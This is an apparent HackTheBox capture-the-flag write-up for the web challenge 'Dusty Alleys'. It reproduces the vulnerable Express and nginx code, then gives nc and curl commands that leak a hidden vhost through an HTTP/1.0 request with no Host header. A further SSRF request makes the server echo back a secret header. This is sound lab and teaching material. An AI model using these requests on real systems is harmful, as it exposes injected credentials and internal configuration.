← Back to Writeups
HTBMediumWeb

Dusty Alleys

XESXOR9/10/20265 min read
#web#htb#medium#http10_host_leak#nginx_vhost_discovery#server_name_fallback#ssrf_header_exfiltration#linux

Dusty Alleys

Platform: HackTheBox | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-02-19 | Status: Solved Techniques: http10_host_leak, nginx_vhost_discovery, server_name_fallback, ssrf_header_exfiltration

Summary

Task: Discover a hidden nginx vhost and exploit SSRF to exfiltrate the flag. Solution: Send an HTTP/1.0 request without Host header to /think, causing nginx to fall back to server_name as $host variable and leak the secret vhost domain, then use the /guardian SSRF endpoint to fetch /think with the flag injected in the Key header.

Dusty Alleys — HackTheBox

Description

"In the dark, dusty underground labyrinth, the survivors feel lost and their resolve weakens. Just as despair sets in, they notice a faint light: a dilapidated, rusty robot emitting feeble sparks. Hoping for answers, they decide to engage with it."

Target: http://154.57.164.81:32496

Architecture

Two-layer setup:

  1. nginx (port 80) — reverse proxy with two virtual host server blocks:
    • alley.$SECRET_ALLEY (default_server) — serves static files at /, proxies /alley and /think to Node.js
    • guardian.$SECRET_ALLEY — proxies /guardian to Node.js
  2. Node.js Express (port 1337) — backend with three routes:
    • GET /alley — renders index page
    • GET /think — returns all received request headers as JSON (header reflection)
    • GET /guardian — SSRF endpoint: takes quote URL parameter, validates hostname ends with "localhost", fetches URL with FLAG in Key header

Key Source: routes/guardian.js

javascript
router.get("/guardian", async (req, res) => {
  const quote = req.query.quote;
  if (!quote) return res.render("guardian");
  try {
    const location = new URL(quote);
    const direction = location.hostname;
    if (!direction.endsWith("localhost") && direction !== "localhost")
      return res.send("guardian", { error: "You are forbidden from talking with me." });
  } catch (error) {
    return res.render("guardian", { error: "My brain circuits are mad." });
  }
  try {
    let result = await node_fetch(quote, {
      method: "GET",
      headers: { Key: process.env.FLAG || "HTB{REDACTED}" },
    }).then((res) => res.text());
    res.set("Content-Type", "text/plain");
    res.send(result);
  } catch (e) {
    return res.render("guardian", { error: "The words are lost in my circuits" });
  }
});

Key Source: nginx default.conf

nginx
server {
    listen 80 default_server;
    server_name alley.$SECRET_ALLEY;
    location / { root /var/www/html/; index index.html; }
    location /alley { proxy_pass http://localhost:1337; proxy_set_header Host $host; ... }
    location /think { proxy_pass http://localhost:1337; proxy_set_header Host $host; ... }
}
server {
    listen 80;
    server_name guardian.$SECRET_ALLEY;
    location /guardian { proxy_pass http://localhost:1337; proxy_set_header Host $host; ... }
}

Analysis

The Two Problems

  1. Vhost Discovery: The /guardian SSRF endpoint is only accessible through the guardian.$SECRET_ALLEY virtual host, but $SECRET_ALLEY is unknown (set at Docker build time via ENV SECRET_ALLEY=REDACTED and substituted with sed).

  2. Flag Exfiltration: Even with access to /guardian, we need to make the SSRF send a request that leaks the Key header containing the flag back to us.

Failed Approaches

  • Brute-forcing vhost name with ffuf + subdomain wordlists — the domain was too unusual
  • HTTP request smuggling (CL.TE, TE.CL, obfuscated TE) — nginx rejected all malformed requests
  • Path traversal through /alley proxy (/alley/../guardian, encoded variants) — nginx normalized all paths before proxying
  • HTTP pipelining — nginx routes each pipelined request independently using the same Host
  • WebSocket upgrade — Express didn't support it

The Key Insight: nginx $host Variable

The nginx config uses proxy_set_header Host $host;. The nginx $host variable resolves in this priority order:

  1. Hostname from the request line (for absolute-form URIs like GET http://example.com/path)
  2. The Host header value
  3. The server_name of the matching server block (fallback when neither of the above is available)

HTTP/1.0 does not require a Host header. When nginx receives an HTTP/1.0 request without a Host header, it matches the default_server block and falls back to using its server_name as the $host value — which it then forwards to the backend via proxy_set_header.

The /think endpoint reflects all received headers, so it will echo back the Host header that nginx set — revealing the full server_name including $SECRET_ALLEY.

Solution

Step 1: Leak SECRET_ALLEY via HTTP/1.0 Without Host Header

Send a raw HTTP/1.0 request to /think with no Host header:

bash
printf 'GET /think HTTP/1.0\r\n\r\n' | nc 154.57.164.81 32496

Response:

json
{"host":"alley.firstalleyontheleft.com","x-real-ip":"...","x-forwarded-for":"...","x-forwarded-proto":"http","connection":"close"}

Result: SECRET_ALLEY = firstalleyontheleft.com, so the guardian vhost is guardian.firstalleyontheleft.com.

Step 2: SSRF via /guardian to Exfiltrate the Flag

With the vhost discovered, access /guardian with the correct Host header and exploit the SSRF to make the server fetch its own /think endpoint (which reflects all headers, including the injected Key header with the flag):

bash
curl -H "Host: guardian.firstalleyontheleft.com" \
  "http://154.57.164.81:32496/guardian?quote=http://localhost:1337/think"

The attack chain:

  1. nginx matches the guardian.firstalleyontheleft.com Host header to the second server block
  2. The /guardian route receives the request with quote=http://localhost:1337/think
  3. URL validation passes: new URL("http://localhost:1337/think").hostname is "localhost" which passes endsWith("localhost")
  4. node-fetch sends GET http://localhost:1337/think with headers: { Key: FLAG }
  5. The /think endpoint reflects ALL received headers back as JSON — including the flag

Response:

json
{"key":"HTB{REDACTED}","accept":"*/*","user-agent":"node-fetch/1.0 (+https://github.com/bitinn/node-fetch)","accept-encoding":"gzip,deflate","connection":"close","host":"localhost:1337"}

Lessons Learned

  1. HTTP/1.0 is a powerful recon tool — it doesn't require a Host header, which can trigger fallback behavior in web servers that reveals configuration details (server names, internal hostnames)
  2. nginx $host fallback is a real vulnerability — when no Host header is present, $host resolves to the server_name directive, potentially leaking secret vhost configurations
  3. Header reflection + SSRF = full header exfiltration — if you can make the server fetch a URL you control (or an endpoint that echoes headers), you can steal any custom headers the server injects (API keys, flags, auth tokens)
  4. endsWith() hostname validation is weak — it allows the exact string ("localhost") and any subdomain ending with it; always use strict equality or allowlists for hostname validation
  5. Two-step attack chains — sometimes the real vulnerability is only accessible after solving a prerequisite problem (vhost discovery before SSRF exploitation)